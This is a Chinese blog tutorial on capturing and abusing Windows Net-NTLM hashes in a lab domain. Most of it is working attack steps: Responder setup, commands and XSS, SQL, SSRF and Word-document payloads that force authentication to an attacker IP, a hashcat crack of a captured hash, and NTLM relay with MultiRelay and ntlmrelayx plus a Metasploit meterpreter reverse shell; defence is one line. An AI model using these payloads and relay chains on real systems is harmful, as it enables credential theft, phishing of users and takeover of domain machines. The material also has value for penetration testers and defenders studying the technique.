美文网首页
Net-NTLM hash利用方法

Net-NTLM hash利用方法

作者: Instu | 来源:发表于2020-07-16 22:50 被阅读0次

    一、windows的hash

    NTLM hash

    NTLM hash是windows登录密码的一种hash,可以在Windows系统的SAM文件或者域控的NTDS.dit文件中提取到,NTLM hash支持哈希传递攻击。

    Net-NTLM hash

    Net-NTLM hash是网络环境下NTLM认证的hash,该hash不能进行哈希传递,但是可以用于ntlm中继攻击。

    二、如何获取Net-NTLM hash?

    使用Responder进行中间人攻击,从而获取Net-NTLM hash。

    root@kali:~# git clone https://github.com/lgandx/Responder.git
    root@kali:~# cd Responder/
    root@kali:~/Responder# ./Responder.py -I eth0 -rv
    

    1.cmd命令

    net use \\192.168.80.130\aaa
    certutil.exe \\192.168.80.130\aaa
    cacls.exe \\192.168.80.130\aaa
    cipher.exe \\192.168.80.130\aaa
    ......
    
    1. xss
      使用带src的标签
    <img src="\\192.168.80.130\aaa">
    <script src="\\192.168.80.130\aaa">
    
    1. sql注入
      使用load_file函数,需要没有secure_file_priv的限制
    MariaDB [(none)]> select load_file('\\\\192.168.80.130\\mysql');
    
    1. ssrf
      使用file协议
    file:////192.168.80.130/aaa
    
    1. office钓鱼
    • 新建一个word文档,然后随便放一个图片进去
    • 使用7zip打开该文档,进入word_rels\文件夹,打开document.xml.rels文件
    Target="media/image1.jpeg"
    改成
    Target="\\192.168.80.130\image1.jpeg" TargetMode="External"
    
    • 当有受害者打开word文档即可获取到他的Net-NTLM hash

    更多获取方法参考:
    https://www.anquanke.com/post/id/193493

    三、hashcat破解Net-NTLM hash

    -m 指定hash的类型,5600为NetNTLMv2

    root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
    

    四、ntlm中继攻击

    需要不同机器之间存在信任关系,通常用在域环境中,例如攻击者获取域控主机的Net-NTLM hash,然后转发给域内的普通用户,进而获得域内普通用户的shell。

    利用条件:目标已关闭smb签名,通常个人pc都是关闭的。

    1. 首先使用nmap扫描主机是否关闭smb签名
    nmap -n -p445 192.168.80.10 --script=smb-security-mode
    
    image.png
    1. 编辑Responder.conf文件,设置smb和http为Off
    image.png
    1. 在kali(192.168.80.130)上使用Responder开启监听
    ./Responder.py -I eth0 -r -d -w
    
    1. 使用Responder的MultiRelay模块,指向域内的一台普通用户
    ./MultiRelay.py -t 192.168.80.10 -u ALL
    
    1. 在域控server2008上建立文件共享请求,kali即可接收到192.168.80.10的sytem shell(实战中可以通过钓鱼发起请求)
    \\192.168.80.130\aaa
    
    image.png

    五、自动化利用

    使用responder + impacket + msf,实现获取Net-NTLM hash,并通过ntlm中继获得域内普通用户的msf shell。

    1. 安装impacket
    root@kali:~# git clone https://github.com/SecureAuthCorp/impacket.git
    root@kali:~/impacket# python3 setup.py install
    
    1. 开启Responder监听
    root@kali:~/Responder# ./Responder.py -I eth0 -r -d -w
    
    1. 启动msf的exploit/multi/script/web_delivery模块
    use exploit/multi/script/web_delivery
    set target 2
    set payload windows/x64/meterpreter/reverse_tcp
    run
    
    image.png
    1. 启动impacket的ntlmrelayx模块
      -tf 指定已关闭smb签名的主机列表
      -c 指定msf生成的powershell命令
    root@kali:~/impacket/examples# python3 ntlmrelayx.py -tf ip.txt -c "xxxxxxxxx" -smb2support
    
    image.png
    1. 当域控发起请求时,通过ntlm中继,我们成功获得两台域内普通用户的shell
    image.png

    六、防御ntlm中继攻击

    • 开启smb签名

    七、参考

    https://www.anquanke.com/post/id/193493
    https://www.anquanke.com/post/id/177123
    https://daiker.gitbook.io/windows-protocol/ntlm-pian/6

    相关文章

      网友评论

          本文标题:Net-NTLM hash利用方法

          本文链接:https://www.haomeiwen.com/subject/qecjhktx.html